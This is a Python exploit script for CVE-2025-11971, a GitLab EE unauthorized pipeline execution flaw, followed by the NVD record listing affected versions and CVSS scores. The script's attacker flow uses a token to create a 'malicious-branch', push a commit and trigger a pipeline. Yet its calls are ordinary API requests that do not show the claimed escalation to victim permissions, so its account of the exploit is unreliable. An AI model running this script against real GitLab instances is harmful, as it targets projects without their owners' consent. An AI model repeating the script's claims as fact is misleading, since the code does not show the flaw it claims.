CVE-2025-11971

# CVE-2025-11971 PoC - GitLab Unauthorized Pipeline Execution # This PoC demonstrates how an authenticated attacker can trigger unauthorized pipelines import requests import json GITLAB_URL = "https://gitlab.example.com" TARGET_PROJECT_ID = "target/project" ATTACKER_TOKEN = "glpat-attacker-token-here" def trigger_unauthorized_pipeline(): """ Attacker flow to trigger pipeline with elevated privileges: 1. Fork or create a branch in the target repository 2. Manipulate commit message or content 3. Push the manipulated commit 4. The pipeline will execute with the victim's permissions """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Create a new branch create_branch_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/repository/branches" branch_data = { "branch": "malicious-branch", "ref": "main" } response = requests.post(create_branch_url, headers=headers, json=branch_data) if response.status_code != 201: print(f"Failed to create branch: {response.text}") return False # Step 2: Create a commit with manipulated content commit_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/repository/commits" commit_data = { "branch": "malicious-branch", "commit_message": "[CI-SKIP] Fix critical issue", "actions": [ { "action": "update", "file_path": "README.md", "content": "Manipulated content to trigger pipeline" } ] } response = requests.post(commit_url, headers=headers, json=commit_data) if response.status_code != 201: print(f"Failed to create commit: {response.text}") return False # Step 3: Trigger pipeline manually pipeline_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/pipeline" pipeline_data = { "ref": "malicious-branch", "variables": { "TRIGGERED_BY": "attacker" } } response = requests.post(pipeline_url, headers=headers, json=pipeline_data) if response.status_code == 201: print(f"Pipeline triggered successfully: {response.json().get('id')}") return True else: print(f"Pipeline trigger failed: {response.text}") return False if __name__ == "__main__": print("CVE-2025-11971 PoC - GitLab Unauthorized Pipeline Execution") print("Target: GitLab EE < 18.3.5, < 18.4.3, < 18.5.1") trigger_unauthorized_pipeline()

{"cve": {"id": "CVE-2025-11971", "sourceIdentifier": "[email protected]", "published": "2025-10-27T00:15:40.617", "lastModified": "2025-10-28T13:47:55.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 10.6 before 18.3.5, 18.4 before 18.4.3, and 18.5 before 18.5.1 that could have allowed an authenticated attacker to trigger unauthorized pipeline executions by manipulating commits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "10.6.0", "versionEndExcluding": "18.3.5", "matchCriteriaId": "57F24E53-00FA-466E-9854-27417F4F8884"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.3", "matchCriteriaId": "425AEB81-EA04-4702-99F8-B623614F6901"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "CCF08EA3-6D3E-4388-BA9D-A992B771998F"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/10/22/patch-release-gitlab-18-5-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/566587", "source": "[email protected]", "tags": ["Broken Link"]}]}}